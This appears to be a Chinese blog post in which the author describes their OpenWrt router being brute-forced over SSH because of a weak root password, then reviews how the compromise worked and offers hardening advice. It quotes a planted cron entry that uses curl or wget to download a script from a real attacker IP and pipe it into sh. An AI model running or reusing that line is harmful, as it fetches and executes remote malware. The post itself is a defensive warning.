最近,我在查看路由器日志的时候发现我的路由器有异常 root 登录,以及异常脚本抓取并在后台运行。经过多重排查发现有被黑客入侵用作肉鸡的可能。所以写下这篇博文,留作警示,同时也希望别的同学不要中招。
先说一下我之前的配置环境:我的路由器用的是 OpenWrt 系统,就是一个专门用于路由器 (Router) 的 Linux,客制化程度比较高。该路由器下挂载了两个服务器,一台 Ubuntu,一台 Windows。路由器开了22号端口,用于 ssh 远程连接。其实我之前也知道这样不安全。但是,我们学校的运营商把22号端口(ssh 协议默认端口)封禁了,所以正常情况下无法从外网访问我的路由器,只有校内网是可以正常连接。这么做是为了寝室断电以后,通过路由器远程唤醒我的两台服务器。发送唤醒魔包时我可能会用很多不同的终端访问(笔电,手机,学院虚拟机,别人的电脑……),所以,我也没有设置 SSH 公钥登录,只设置了一个弱密码登录。而且,玩了这么久 Linux,我最为智障的一点是:忘了 root 权限和普通用户权限进行隔离(这**可是 Linux 的基本操作)。尽管这系统漏洞百出,但是理论上只要校内没人想特意搞我,应该是没问题的。
可是,我们的校园网并不安全。
每一周我都会查看 OpenWrt 的系统日志。12月底的时候我忽然发现了异常:有多个 IP 尝试通过 root 权限进行登录。尽管因为密码错误会导致 Permission Denied,但这些 IP 每间隔几分钟就会再次尝试(他们也是够蠢的,我的密码就是 password ,暴力破解脚本一般会把 password 和 qwertyui 作为前几个尝试的密码,之后才是暴力排列组合,可见这帮人写脚本的时候完全没动脑子233)。
发现异常以后我立刻关闭了对外的 22号端口,但是没有重装路由器系统(因为路由器是我下属两个服务器的中继,重置太过麻烦)。事后证明,我 too young, too simple了。
过了一个星期,我再调日志的时候,又双叒叕发现了异常,有个命令会定时启动,该命令会从一个 IP 那里扒取一个脚本并自动执行。日志长这样:
*/15 * * * * (/usr/bin/gvnefa8||/usr/libexec/gvnefa8||/usr/local/bin/gvnefa8||/tmp/gvnefa8||curl -fsSL -m180 http://157.245.59.230:8000/i.sh||wget -q -T180 -O- http://157.245.59.230:8000/i.sh) | sh
发现问题以后,我直接重装了整个 OpenWrt,重新配置的时候直接禁止 root 通过 SSH 登录。
显然,之前应该有一个或者多个 IP 成功猜出我的密码,并对我的路由器进行了脚本植入。在发现有人试图攻击我路由器的时候,我就应该直接重装的。
之后,我在坛子上找到了同样的问题反馈。
复盘
之后我对这种抓肉鸡的手法复盘了一下。首先,由于我们学校给我们分配了公网 IP,所以只要入侵者有一台使用校园网的计算机,就可以通过 IP Scaner & Port Scaner 的方式发现校内哪些 IP 下有计算机在使用,这些计算机开了哪些端口。之后,再使用暴力破解脚本,暴力获取 root 权限及密码。最后,远程植入脚本,肉鸡数量++。
本身由于运营商封掉了 22号端口,这类事件完全可以避免,但是校内不封啊……我们又是教育网地区总结点,鬼知道哪个学校的机房被黑了,然后连着也把我端了。
Tips
因为学校提供了公网 IP 以及极快的网速,像我这样寝室里搞台电脑远程连接的同学应该不少,所以在这里给大家几点建议,避免像我一样智障般的中招:
别对外网开放 22, 21, 3389(Windows 远程桌面端口) 等敏感端口,如果真要使用这些服务,搞个端口转发,或者直接把端口号改了,65535个端口,随便你用。记得尽量别用 1w 以下的端口。
使用端口的时候多加几个混淆端口。你就只剩两三个端口,啥子也知道那两个端口干啥的。
禁止 root 密码登录,甚至直接禁止 root 远程登录。没事别老想着用 root,Linux的用户权限是有用处的。能不 root,就别 root。